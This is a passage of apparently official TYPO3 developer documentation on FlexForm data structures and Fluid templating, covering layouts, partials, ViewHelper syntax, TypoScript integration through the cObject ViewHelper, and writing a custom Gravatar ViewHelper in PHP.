                     </numIndex>
                  </items>
               </config>
            </TCEforms>
         </showForgotPassword>
         <showPermaLogin>
            <TCEforms>
               <label>LLL:EXT:felogin/locallang_db.xlf:tt_content.pi_flexform.show_permalogin</label>
               <config>
                  <default>1</default>
                  <type>check</type>
                  <items type="array">
                     <numIndex index="1" type="array">
                        <numIndex index="0">LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:labels.enabled</numIndex>
                        <numIndex index="1">1</numIndex>
                     </numIndex>
                  </items>
               </config>
            </TCEforms>
         </showPermaLogin>
         // ...
      </el>
   </ROOT>
</T3DataStructure>
Copied!

and the same for the other sheet welcome_sheet.xml.

Parsing a Data Structure

You can convert a Data Structure XML document into a PHP array by using the function \TYPO3\CMS\Core\Utility\GeneralUtility::xml2array(). The reverse transformation is achieved using \TYPO3\CMS\Core\Utility\GeneralUtility::array2xml().

If the Data Structure uses referenced sheets, for example

<T3DataStructure>
  <sheets>
        <sDEF>fileadmin/sheets/default_sheet.xml</sDEF>
    <s_welcome>fileadmin/sheets/welcome_sheet.xml</s_welcome>
  </sheets>
</T3DataStructure>
Copied!

Additional operations must be performed to resolve the sheet's content. See class FlexFormTools.

Fluid

You can use Fluid in TYPO3 to do one of the following:

  • Create a template (theme) using a combination of TypoScript FLUIDTEMPLATE and Fluid. Check out the TYPO3 Sitepackage Tutorial which walks you through the creation of a sitepackage extension.
  • Create a custom content element type in addition to the already existing content elements TYPO3 supplies.
  • The previous point describes the lightweight components which are created using a combination of TypoScript and Fluid. If you need more functionality or flexibility in your content element, you can create a content plugin using a combination of Extbase and Fluid.
  • Use Fluid to create emails using the TYPO3 Mail API.
  • Use Fluid in backend modules.

Table of contents

Introduction to Fluid

Fluid is TYPO3’s default rendering engine but can also be used in standalone PHP projects. The Fluid source code is being developed as an independent project outside of the TYPO3 Core.

Fluid is based on XML and you can use HTML markup in Fluid.

Fluid ViewHelpers can be used for various purposes. Some transform data, some include Partials, some loop over data or even set variables. You can find a complete list of them in the ViewHelper Reference.

You can write your own custom ViewHelper, which is a PHP component.

Example Fluid snippet

This is how a simple Fluid snippet could look like:

EXT:site_package/Resources/Private/Templates/SomeTemplate.html
<h4>This is your headline</h4>
<p>
 <f:if condition="{myExpression}">
   <f:then>
      {somevariable}
   </f:then>
   <f:else>
       {someothervariable}
   </f:else>
 </f:if>
</p>
Copied!

The resulting HTML may look like this:

Example frontend output
<h4>This is your headline</h4>
<p>This is the content of variable "somevariable"</p>
Copied!

The above Fluid snippet contains:

ViewHelpers:

The XML elements that start with f: like <f:if> etc. are standard ViewHelpers. It is also possible to define custom ViewHelpers, for example <foo:bar foo="bar">. A corresponding file ViewHelpers/BarViewHelper.php with the methods initializeArguments and render contains the HTML generation logic. ViewHelpers are Fluid components which make a function call to PHP from inside of a template. TYPO3 adds some more ViewHelpers for TYPO3 specific functionality.

ViewHelpers can do simple processing such as remove spaces with the Spaceless ViewHelper <f:spaceless> ViewHelper or create a link as is done in the TYPO3 Fluid Viewhelper Link.page ViewHelper <f:link.page>.

Expressions, variables:
Fluid uses placeholders to fill content in specified areas in the template where the result is rendered when the template is evaluated. Content within braces (for example {somevariable}) can contain variables or expressions.
Conditions:
The conditions are supplied here by the if / then / else ViewHelpers.

Directory structure

In your extension, the following directory structure should be used for Fluid files:

── Resources
   └── Private
     ├── Layouts
     ├── Partials
     └── Templates
Copied!

This directory structure is the convention used by TYPO3. When using Fluid outside of TYPO3 you can use any folder structure you like.

If you are using Extbase controller actions in combination with Fluid, Extbase defines how files and directories should be named within these directories. Extbase uses sub directories located within the "Templates" directory to group templates by controller name and the filename of templates to correspond to a certain action on that controller.

└── Resources
    └── Private
        └── Templates
            └── Blog
                ├── List.html (for Blog->list() action)
                └── Show.html (for Blog->show() action)
Copied!

If you don't use Extbase you can still use this convention, but it is not a requirement to use this structure to group templates into logical groups, such as "Page" and "Content" to group different types of templates.

In Fluid, the location of these paths is defined with \TYPO3Fluid\Fluid\Core\Rendering\RenderingContext->setTemplatePaths().

TYPO3 provides the possibility to set the paths using TypoScript.

Templates

The template contains the main Fluid template.

Layouts

optional

Layouts serve as a wrapper for a web page or a specific block of content. If using Fluid for a sitepackage, a single layout file will often contain multiple components such as your sites menu, footer, and any other items that are reused throughout your website.

Templates can be used with or without a Layout.

  • With a Layout anything that's not inside a section is ignored. When a Layout is used, the Layout determines which sections will be rendered from the template through the use of <f:render> in the Layout file.
  • Without a Layout anything that's not inside a section is rendered. You can still use sections of course, but you then must use f:render in the template file itself, outside of a section, to render a section.

For example, the layout may like this

EXT:my_extension/Resources/Private/Layouts/Default.html
<div class="header">
   <f:render section="Header" />
</div>
<div class="main">
   <f:render section="Main" />
</div>
Copied!

The layout defines which sections are rendered and in which order. It can contain additional arbitrary Fluid / HTML. How you name the sections and which sections you use is up to you.

The corresponding template should include the sections which are to be rendered.

EXT:my_extension/Resources/Private/Templates/Default.html
<f:layout name="Default" />

<f:section name="Header">
   <!-- add header here ! -->
</f:section>

<f:section name="Main">
   <!-- add main content here ! -->
</f:section>
Copied!

Partials

optional

Some parts within different templates might be the same. To not repeat this part in multiple templates, Fluid offers so-called partials. Partials are small pieces of Fluid template within a separate file that can be included in multiple templates.

Partials are stored, by convention, within Resources/Private/Partials/.

Example partial:

EXT:my_extension/Resources/Private/Partials/Tags.html
<b>Tags</b>:
<ul>
   <f:for each="{tags}" as="tag">
      <li>{tag}</li>
   </f:for>
</ul>
Copied!

Example template using the partial:

EXT:my_extension/Resources/Private/Templates/Show.html
<f:render partial="Tags" arguments="{tags: post.tags}" />
Copied!

The variable post.tags is passed to the partial as variable tags.

If ViewHelpers from a different namespace are used in the partial, the namespace import can be done in the template or the partial.

Example: Using Fluid to create a theme

This example was taken from the example extension for TYPO3 Sitepackage Tutorial and reduced to a very basic example.

The Sitepackage Tutorial walks you through the creation of a sitepackage (theme) using Fluid. In our simplified example, the overall structure of a page is defined by a layout "Default". We show an example of a three column layout. Further templates can be added later, using the same layout.

Resources/
└── Private
    ├── Layouts
    │   └── Page
    │       └── Default.html
    ├── Partials
    │   └── Page
    │       └── Jumbotron.html
    └── Templates
        └── Page
            └── ThreeColumn.html
Copied!

Set the Fluid paths with TypoScript using FLUIDTEMPLATE

lib.dynamicContent = COA
lib.dynamicContent {
   10 = LOAD_REGISTER
   10.colPos.cObject = TEXT
   10.colPos.cObject {
      field = colPos
      ifEmpty.cObject = TEXT
      ifEmpty.cObject {
         value.current = 1
         ifEmpty = 0
      }
   }
   20 = CONTENT
   20 {
      table = tt_content
      select {
         orderBy = sorting
         where = colPos={register:colPos}
         where.insertData = 1
      }
   }
   90 = RESTORE_REGISTER
}

page = PAGE
page {
   // Part 1: Fluid template section
   10 = FLUIDTEMPLATE
   10 {
      templateName = Default
      templateRootPaths {
         0 = EXT:site_package/Resources/Private/Templates/Page/
      }
      partialRootPaths {
         0 = EXT:site_package/Resources/Private/Partials/Page/
      }
      layoutRootPaths {
         0 = EXT:site_package/Resources/Private/Layouts/Page/
      }
   }
}
Copied!
Resources/Private/Layouts/Page/Default.html
<f:render section="Header" />
<f:render section="Main" />
<f:render section="Footer" />
Copied!
Resources/Private/Templates/Page/ThreeColumn.html
<f:layout name="Default" />

<f:section name="Header">
   <!-- add header here ! -->
</f:section>

<f:section name="Main">
   <f:render partial="Jumbotron" />
    <div class="container">
      <div class="row">
        <div class="col-md-4">
          <f:cObject typoscriptObjectPath="lib.dynamicContent" data="{colPos: '1'}" />
        </div>
        <div class="col-md-4">
          <f:cObject typoscriptObjectPath="lib.dynamicContent" data="{colPos: '0'}" />
        </div>
        <div class="col-md-4">
          <f:cObject typoscriptObjectPath="lib.dynamicContent" data="{colPos: '2'}" />
        </div>
      </div>
    </div>
</f:section>

<f:section name="Footer">
    <!-- add footer here ! -->
</f:section>
Copied!
  • The template uses the layout "Default". It must then define all sections that the layout requires: "Header", "Main" and "Footer".
  • In the section "Main", a partial "Jumbotron" is used.
  • The template makes use of column positions (colPos). The content elements for each section on the page will be rendered into the correct div. Find out more about this in Backend layout.
  • Again, we are using Object Accessors to access data (e.g. {colPos: '2'}) that has been generated elsewhere.
Resources/Private/Partials/Page/Jumbotron.html
<div class="jumbotron">
   <div class="container">
      <h1 class="display-3">Hello, world!</h1>
      <p> some text </p>
   </div>
</div>
Copied!

Fluid syntax

Variables

Assign a variable in PHP:

$this->view->assign('title', 'An example title');
Copied!

Output it in a Fluid template:

<h1>{title}</h1>
Copied!

The result:

<h1>An example title</h1>
Copied!

In the template's HTML code, wrap the variable name into curly braces to output it:

Arrays and objects

Assign an array in PHP:

$this->view->assign('data', ['Low', 'High']);
Copied!

Use the dot . to access array keys:

EXT:site_package/Resources/Private/Templates/SomeTemplate.html
<p>{data.0}, {data.1}</p>
Copied!

This also works for object properties:

EXT:site_package/Classes/Controller/SomeController.php
$this->view->assign('product', $myProduct);
Copied!

Use it like this:

EXT:site_package/Resources/Private/Templates/SomeTemplate.html
<p>{product.name}: {product.price}</p>
Copied!

Accessing dynamic keys/properties

It is possible to access array or object values by a dynamic index:

EXT:site_package/Resources/Private/Templates/SomeTemplate.html
{myArray.{myIndex}}
Copied!

ViewHelpers

ViewHelpers are special tags in the template which provide more complex functionality such as loops or generating links.

The functionality of the ViewHelper is implemented in PHP, every ViewHelper has its own PHP class.

See the Fluid Viewhelper Reference for a complete list of all available ViewHelpers.

Within Fluid, the ViewHelper is used as a special HTML element with a namespace prefix, for example the namespace prefix "f" is used for ViewHelpers from the Fluid namespace:

Fluid example with for ViewHelper
<f:for each="{results}" as="result">
   <li>{result.title}</li>
</f:for>
Copied!

The "f" namespace is already defined, but can be explicitly specified to improve IDE autocompletion.

Fluid example with custom ViewHelper "custom" in namespace "blog":

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
<blog:custom argument1="something"/>
Copied!

Here, we are using a custom ViewHelper within the namespace "blog". The namespace must be registered explicitly, see the next section.

Import ViewHelper namespaces

There are 3 ways to import ViewHelper namespaces in TYPO3. In all three examples blog is the namespace available within the Fluid template and MyVendor\BlogExample\ViewHelpers is the PHP namespace to import into Fluid.

  1. Use an <html> tag with xmlns

    EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
    <html
       xmlns:blog="http://typo3.org/ns/Myvendor/MyExtension/ViewHelpers"
       data-namespace-typo3-fluid="true"
    >
    
    </html>
    Copied!

    This is useful for various IDEs and HTML auto-completion. The <html> element itself will not be rendered if the attribute data-namespace-typo3-fluid="true" is specified.

    The namespace is built using the fixed http://typo3.org/ns prefix followed by the vendor name, package name and the fixed ViewHelpers suffix.

  2. Local namespace import via curly braces {}-syntax

    EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
    {namespace blog=MyVendor\BlogExample\ViewHelpers}
    Copied!

    Each of the rows will result in a blank line. Multiple import statements can go into a single or multiple lines.

  3. Global namespace import

    Fluid allows to register global namespaces. This is already done for typo3/cms-fluid and typo3fluid/fluid ViewHelpers. Therefore they are always available via the f namespace.

    Custom ViewHelpers, for example for a site package, can be registered the same way. Namespaces are registered within $GLOBALS['TYPO3_CONF_VARS']['SYS']['fluid']['namespaces'] , for example:

    EXT:blog_example/ext_localconf.php
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['fluid']['namespaces']['blog'] = [
        'MyVendor\BlogExample\ViewHelpers',
    ];
    Copied!

Viewhelper attributes

Simple

Variables can be inserted into ViewHelper attributes by putting them in curly braces:

EXT:site_package/Resources/Private/Templates/SomeTemplate.html
Now it is: <f:format.date format="{format}">{date}</f:format.date>
Copied!

Fluid inline notation

An alternative to the tag based notation used above is inline notation. For example, compare the 2 identical Fluid constructs:

EXT:my_extensions/Resources/Private/Templates/Something.html
<!-- tag based notation -->
<f:translate key="LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive"/>

<!-- inline notation -->
{f:translate(key: 'LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive')}
Copied!

Tag based notation and inline notation can be freely mixed within one Fluid template.

Inline notation is often a better choice if HTML tags are nested, for example:

EXT:my_extensions/Resources/Private/Templates/Something.html
<!-- tag based notation -->
<span title="<f:translate key='LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive'/>">

<-- inline notation -->
<span title="{f:translate(key: 'LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive')}">
Copied!

More complex example with chaining:

EXT:my_extensions/Resources/Private/Templates/Something.html
<!-- tag based notation -->
<f:format.padding padLength="40"><f:format.date format="Y-m-d">{post.date}</f:format.date></f:format.padding>

<!-- inline notation -->
{post.date -> f:format.date(format: 'Y-m-d') -> f:format.padding(padLength: 40)}
Copied!

Boolean conditions

Boolean conditions are expressions that evaluate to true or false.

Boolean conditions can be used as ViewHelper arguments, whenever the datatype boolean is given, e.g. in the if ViewHelper condition argument.

  1. The expression can be a variable which is evaluated as follows:

    • number: evaluates to true, if > 0.
    • array: evaluates to true if it contains at least one element
  2. The expression can be a statement consisting of: term1 operator term2, for example {variable} > 3

    • The operator can be one of >, >=, <, <=, ==, ===, !=, !== or %,
  3. The previous expressions can be combined with || (or) or && (and).

Examples:

<f:if condition="{myObject}">
  ...
</f:if>

<f:if condition="{myNumber} > 3 || {otherNumber} || {somethingelse}">
   <f:then>
      ...
   </f:then>
   <f:else>
      ...
   </f:else>
</f:if>

<my:custom showLabel="{myString} === 'something'">
  ...
</my:custom>
Copied!

Example using the inline notation:

<div class="{f:if(condition: blog.posts, then: 'blogPostsAvailable', else: 'noPosts')}">
   ...
</div>
Copied!

Comments

As the Fluid syntax is basically XML, you can use CDATA tags to comment out parts of your template:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<![CDATA[
This will be ignored by the Fluid parser
]]>
Copied!

If you want to hide the contents from the browser, you can additionally encapsulate the part in HTML comments:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<!--<![CDATA[
This will be ignored by the Fluid parser and by the browser
]]>-->
Copied!

Note: This way the content will still be transferred to the browser! If you want to completely skip parts of your template, you can make use of the f:comment view helper. To disable parsing you best combine it with CDATA tags:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:comment><![CDATA[
This will be ignored by the Fluid parser and won't appear in the source code of the rendered template
]]></f:comment>
Copied!

Using Fluid in TYPO3

Here are some examples of how Fluid can be used in TYPO3:

  • Create a template (theme) using a combination of TypoScript FLUIDTEMPLATE and Fluid. Check out the TYPO3 Sitepackage Tutorial which walks you through the creation of a sitepackage extension.
  • Create a custom content element type in addition to the already existing content elements TYPO3 supplies.
  • The previous point describes the lightweight components which are created using a combination of TypoScript and Fluid. If you need more functionality or flexibility in your content element, you can create a content plugin using a combination of Extbase and Fluid.
  • Use Fluid to create emails using the TYPO3 Mail API.
  • Use Fluid in backend modules, either with or without Extbase.

cObject ViewHelper

The cObject ViewHelper combines Fluid with TypoScript. The following line in the HTML template will be replaced with the referenced TypoScript object.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:cObject typoscriptObjectPath="lib.title"/>
Copied!

Now we only have to define lib.title in the TypoScript Setup:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.title = TEXT
lib.title.value = Extbase and Fluid
Copied!

»Extbase and Fluid« will be outputted in the template. Now we can output an image (e.g. headlines with unusual fonts) by changing the TypoScript to:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.title = IMAGE
lib.title {
   file = GIFBUILDER
   file {
      10 = TEXT
      10.value = Extbase and Fluid
   }
}
Copied!

So far, it's not a "real world" example because no data is being passed from Fluid to the TypoScript. We'll demonstrate how to pass a parameter to the TypoScript with the example of a user counter. The value of our user counter should come from the Blog-Post. (Every Blog-Post should count how many times it's been viewed in this example).

In the Fluid template we add:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:cObject typoscriptObjectPath="lib.myCounter">{post.viewCount}</f:cObject>
Copied!

Alternatively, we can use a self-closing tag. The data is being passed with the help of the data attribute.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:cObject typoscriptObjectPath="lib.myCounter" data="{post.viewCount}" />
Copied!

Also advisable for this example is the inline notation, because you can easily read it from left to right:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
{post.viewCount -> f:cObject(typoscriptObjectPath: 'lib.myCounter')}
Copied!

Now we still have to evaluate the passed value in our TypoScript template. We can use the stdWrap attribute current to achieve this. It works like a switch: If set to 1, the value, which we passed to the TypoScript object in the Fluid template will be used. In our example, it looks like this:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.myCounter = TEXT
lib.myCounter {
   current = 1
   wrap = <strong>|</strong>
}
Copied!

This TypoScript snippet outputs the current number of visits written in bold.

Now for example we can output the user counter as image instead of text without modifying the Fluid template. We have to use the following TypoScript:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.myCounter = IMAGE
lib.myCounter {
   file = GIFBUILDER
   file {
      10 = TEXT
      10.text.current = 1
   }
}
Copied!

At the moment, we're only passing a single value to the TypoScript. It's more versatile, though, to pass multiple values to the TypoScript object because then you can select which value to use in the TypoScript, and the values can be concatenated. You can also pass whole objects to the ViewHelper in the template:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
{post -> f:cObject(typoscriptObjectPath: 'lib.myCounter')}
Copied!

Now, how do you access individual properties of the object in the TypoScript-Setup? You can use the property field of stdWrap:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.myCounter = COA
lib.myCounter {
   10 = TEXT
   10.field = title
   20 = TEXT
   20.field = viewCount
   wrap = (<strong>|</strong>)
}
Copied!

Now we always output the title of the blog, followed by the amount of page visits in parenthesis in the example above.

You can also combine the field based approach with current: If you set the property currentValueKey in the cObject ViewHelper, this value will be available in the TypoScript template with current. That is especially useful when you want to emphasize that the value is very important for the TypoScript template. For example, the amount of visits is significant in our view counter:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
{post -> f:cObject(typoscriptObjectPath: 'lib.myCounter', currentValueKey: 'viewCount')}
Copied!

In the TypoScript template you can now use both, current and field, and have therefor the maximum flexibility with the greatest readability. The following TypoScript snippet outputs the same information as the previous example:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.myCounter = COA
lib.myCounter {
   10 = TEXT
   10.field = title
   20 = TEXT
   20.current = 1
   wrap = (<strong>|</strong>)
}
Copied!

The cObject ViewHelper is a powerful option to use the best advantages of both worlds by making it possible to embed TypoScript expressions in Fluid templates.

Property additionalAttributes

All Fluid ViewHelper that create exactly one HTML tag, tag-based ViewHelpers, can get passed the property additionalAttributes.

A tag-based Fluid ViewHelper generally supports most attributes that are also available in HTML. There are, for example, the attributes class and id, which exists in all tag-based ViewHelpers.

Sometimes attributes are needed that are not provided by the ViewHelper. A common example are data attributes.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:form.textbox additionalAttributes="{data-anything: 'some info', data-something: some.variable}" />
Copied!

The property additionalAttributes are especially helpful if only a few of these additional attributes are needed. Otherwise, it is often reasonable to write an own ViewHelper which extends the corresponding ViewHelper.

The property additionalAttributes is provided by the TagBasedViewHelper so it is also available to custom ViewHelpers based on this class. See chapter Developing a custom ViewHelper.

Developing a custom ViewHelper

This chapter will demonstrate how to write a custom Fluid ViewHelper in TYPO3.

A "Gravatar" ViewHelper is created, which uses an email address as parameter and shows the picture from gravatar.com if it exists.

The official documentation of Fluid for writing custom ViewHelpers can be found within Fluid documentation at Creating ViewHelpers.

Fluid

The custom ViewHelper is not part of the default distribution. Therefore a namespace import is necessary to use this ViewHelper. In the following example, the namespace \MyVendor\BlogExample\ViewHelpers is imported with the prefix blog. Now, all tags starting with blog: are interpreted as ViewHelper from within this namespace:

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
<html
    xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"
    xmlns:blog="http://typo3.org/ns/MyVendor/BlogExample/ViewHelpers"
    data-namespace-typo3-fluid="true"
>
    <!-- ... -->
</html>
Copied!

The ViewHelper should be given the name "gravatar" and only take an email address as a parameter. The ViewHelper is called in the template as follows:

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
<blog:gravatar emailAddress="username@example.org" />
Copied!

AbstractViewHelper implementation

Every ViewHelper is a PHP class. For the Gravatar ViewHelper, the name of the class is \MyVendor\BlogExample\ViewHelpers\GravatarViewHelper.

EXT:blog_example/Classes/ViewHelpers/GravatarViewHelper.php
<?php
namespace MyVendor\BlogExample\ViewHelpers;

use TYPO3Fluid\Fluid\Core\Rendering\RenderingContextInterface;
use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;

final class GravatarViewHelper extends AbstractViewHelper
{
   use CompileWithRenderStatic;

   protected $escapeOutput = false;

   public function initializeArguments()
   {
       // registerArgument($name, $type, $description, $required, $defaultValue, $escape)
       $this->registerArgument('emailAddress', 'string', 'The email address to resolve the gravatar for', true);
   }

   public static function renderStatic(
       array $arguments,
       \Closure $renderChildrenClosure,
       RenderingContextInterface $renderingContext
   ) {
       // this is improved with the TagBasedViewHelper (see below)
       return '<img src="http://www.gravatar.com/avatar/' .
         md5($arguments['emailAddress']) .
         '" />';
   }
}
Copied!

AbstractViewHelper

line 7

Every ViewHelper must inherit from the class \TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper .

A ViewHelper can also inherit from subclasses of AbstractViewHelper, e.g. from \TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper . Several subclasses are offering additional functionality. The TagBasedViewHelper will be explained later on in this chapter in detail.

Escaping of output

line 11

By default, all output is escaped by htmlspecialchars to prevent cross site scripting.

Setting the property $escapeOutput to false is necessary to prevent escaping of ViewHelper output.

By setting the property $escapeChildren to false, escaping of the tag content (its child nodes) can be disabled. If this is not set explicitly, the value will be determined automatically: If $escapeOutput: is true, $escapeChildren will be disabled to prevent double escaping. If $escapeOutput: is false, $escapeChildren will be enabled unless disabled explicitly.

Passing in children is explained in Prepare ViewHelper for inline syntax.

initializeArguments()

line 13

The Gravatar ViewHelper must hand over the email address which identifies the Gravatar. Every ViewHelper has to declare which parameters are accepted explicitly. The registration happens inside initializeArguments().

In the example above, the ViewHelper receives the argument emailAddress of type string. These arguments can be accessed through the array $arguments, which is passed into the renderStatic() method (see next section).

renderStatic()

line 19

The method renderStatic() is called once the ViewHelper is rendered. The return value of the method is rendered directly.

  • line 9*

The trait CompileWithRenderStatic must be used if the class implements renderStatic().

Creating HTML/XML tags with the AbstractTagBasedViewHelper

For ViewHelpers which create HTML/XML tags, Fluid provides an enhanced base class: \TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper . This base class provides an instance of \TYPO3Fluid\Fluid\Core\ViewHelper\TagBuilder that can be used to create HTML-tags. It takes care of the syntactically correct creation and, for example, escapes single and double quotes in attribute values.

Because the Gravatar ViewHelper creates an img tag the use of the \TYPO3Fluid\Fluid\Core\ViewHelper\TagBuilder is advised:

EXT:blog_example/Classes/ViewHelpers/GravatarViewHelper.php
<?php
namespace MyVendor\BlogExample\ViewHelpers;

use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper;

class GravatarViewHelper extends AbstractTagBasedViewHelper
{
    protected $tagName = 'img';

    public function initializeArguments()
    {
        parent::initializeArguments();
        $this->registerUniversalTagAttributes();
        $this->registerTagAttribute('alt', 'string', 'Alternative Text for the image');
        $this->registerArgument('emailAddress', 'string', 'The email address to resolve the gravatar for', true);
    }

    public function render()
    {
        $this->tag->addAttribute(
            'src',
            'http://www.gravatar.com/avatar/' . md5($this->arguments['emailAddress'])
        );
        return $this->tag->render();
    }
}
Copied!

What is different in this code?

The attribute $escapeOutput is no longer necessary.

AbstractTagBasedViewHelper

line 6

The ViewHelper does not inherit directly from AbstractViewHelper but from AbstractTagBasedViewHelper, which provides and initializes the tag builder.

$tagName

line 8

There is a class property $tagName which stores the name of the tag to be created ( <img>).

$this->tag->addAttribute()

line 20

The tag builder is available at property $this->tag. It offers the method addAttribute() to add new tag attributes. In our example the attribute src is added to the tag.

$this->tag->render()

line 24

The GravatarViewHelper creates an img tag builder, which has a method named render(). After configuring the tag builder instance, the rendered tag markup is returned.

$this->registerTagAttribute()

Furthermore the TagBasedViewHelper offers assistance for ViewHelper arguments that should recur directly and unchanged as tag attributes. These must be registered with the method $this->registerTagAttribute() within initializeArguments. If support for the <img> attribute alt should be provided in the ViewHelper, this can be done by initializing this in initializeArguments() in the following way:

EXT:blog_example/Classes/ViewHelpers/GravatarViewHelper.php
public function initializeArguments()
{
    // registerTagAttribute($name, $type, $description, $required = false)
    $this->registerTagAttribute('alt', 'string', 'Alternative Text for the image');
}
Copied!

For registering the universal attributes id, class, dir, style, lang, title, accesskey and tabindex there is a helper method registerUniversalTagAttributes() available.

If support for universal attributes should be provided and in addition to the alt attribute in the Gravatar ViewHelper the following initializeArguments() method will be necessary:

EXT:blog_example/Classes/ViewHelpers/GravatarViewHelper.php
public function initializeArguments()
{
    parent::initializeArguments();
    $this->registerUniversalTagAttributes();
    $this->registerTagAttribute('alt', 'string', 'Alternative Text for the image');
}
Copied!

Insert optional arguments

An optional size for the image can be provided to the Gravatar ViewHelper. This size parameter will determine the height and width in pixels of the image and can range from 1 to 512. When no size is given, an image of 80px is generated.

The render() method can be improved like this:

EXT:blog_example/Classes/ViewHelpers/GravatarViewHelper.php
public function initializeArguments()
{
    $this->registerArgument('emailAddress', 'string', 'The email address to resolve the gravatar for', true);
    $this->registerArgument('size', 'integer', 'The size of the gravatar, ranging from 1 to 512', false, 80);
}

public function render()
{
    $this->tag->addAttribute(
       'src',
       'http://www.gravatar.com/avatar/' .
           md5($this->arguments['emailAddress']) .
           '?s=' . urlencode($this->arguments['size'])
    );
    return $this->tag->render();
}
Copied!

With this setting of a default value and setting the fourth argument to false, the size attribute becomes optional.

Prepare ViewHelper for inline syntax

So far, the Gravatar ViewHelper has focused on the tag structure of the ViewHelper. The call to render the ViewHelper was written with tag syntax, which seemed obvious because it itself returns a tag:

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
<blog:gravatar emailAddress="{post.author.emailAddress}" />
Copied!

Alternatively, this expression can be written using the inline notation:

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
{blog:gravatar(emailAddress: post.author.emailAddress)}
Copied!

One should see the Gravatar ViewHelper as a kind of post-processor for an email address and would allow the following syntax:

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
{post.author.emailAddress -> blog:gravatar()}
Copied!

This syntax places focus on the variable that is passed to the ViewHelper as it comes first.

The syntax {post.author.emailAddress -> blog:gravatar()} is an alternative syntax for <blog:gravatar>{post.author.emailAddress}</blog:gravatar>. To support this, the email address comes either from the argument emailAddress or, if it is empty, the content of the tag should be interpreted as email address.

This is typically used with formatting ViewHelpers. These ViewHelpers all support both tag mode and inline syntax.

Depending on the implemented method for rendering, the implementation is different:

With renderStatic()

To fetch the content of the ViewHelper, the argument $renderChildrenClosure is available. This returns the evaluated object between the opening and closing tag.

Lets have a look at the new code of the renderStatic() method:

EXT:blog_example/Classes/ViewHelpers/GravatarViewHelper.php
<?php
namespace MyVendor\BlogExample\ViewHelpers;

use TYPO3Fluid\Fluid\Core\Rendering\RenderingContextInterface;
use TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithRenderStatic;
use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;

class GravatarViewHelper extends AbstractViewHelper
{
    use CompileWithContentArgumentAndRenderStatic;

    protected $escapeOutput = false;

    public function initializeArguments()
    {
        $this->registerArgument('emailAddress', 'string', 'The email address to resolve the gravatar for');
    }

    public static function renderStatic(
        array $arguments,
        \Closure $renderChildrenClosure,
        RenderingContextInterface $renderingContext
    ) {
        $emailAddress = $renderChildrenClosure();

        return '<img src="http://www.gravatar.com/avatar/' .
            md5($emailAddress) .
            '" />';
    }
}
Copied!

With render()

To fetch the content of the ViewHelper the method renderChildren() is available in the AbstractViewHelper. This returns the evaluated object between the opening and closing tag.

Lets have a look at the new code of the render() method:

EXT:blog_example/Classes/ViewHelpers/GravatarViewHelper.php
<?php
namespace MyVendor\BlogExample\ViewHelpers;

use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper;

class GravatarViewHelper extends AbstractTagBasedViewHelper
{
    protected $tagName = 'img';

    public function initializeArguments()
    {
        $this->registerArgument('emailAddress', 'string', 'The email address to resolve the gravatar for', false, null);
    }

    public function render()
    {
        $emailAddress = $this->arguments['emailAddress'] ?? $this->renderChildren();

        $this->tag->addAttribute(
            'src',
            'http://www.gravatar.com/avatar/' . md5($emailAddress)
        );

        return $this->tag->render();
    }
}
Copied!

Handle additional arguments

If a ViewHelper allows further arguments which have not been explicitly configured, the handleAdditionalArguments() method can be implemented.

The \TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper makes use of this, to allow setting any data- argument for tag based ViewHelpers.

The method will receive an array of all arguments, which are passed in addition to the registered arguments. The array uses the argument name as the key and the argument value as the value. Within the method, these arguments can be handled.

For example, the AbstractTagBasedViewHelper implements the following:

EXT:fluid/Classes/ViewHelpers/AbstractTagBasedViewHelper.php
public function handleAdditionalArguments(array $arguments)
{
    $unassigned = [];
    foreach ($arguments as $argumentName => $argumentValue) {
        if (strpos($argumentName, 'data-') === 0) {
            $this->tag->addAttribute($argumentName, $argumentValue);
        } else {
            $unassigned[$argumentName] = $argumentValue;
        }
    }
    parent::handleAdditionalArguments($unassigned);
}
Copied!

To keep the default behavior, all unwanted arguments should be passed to the parent method call parent::handleAdditionalArguments($unassigned);, to throw exceptions accordingly.

The different render methods

ViewHelpers can have one or more of the following three methods for implementing the rendering. The following section will describe the differences between all three implementations.

compile()-Method

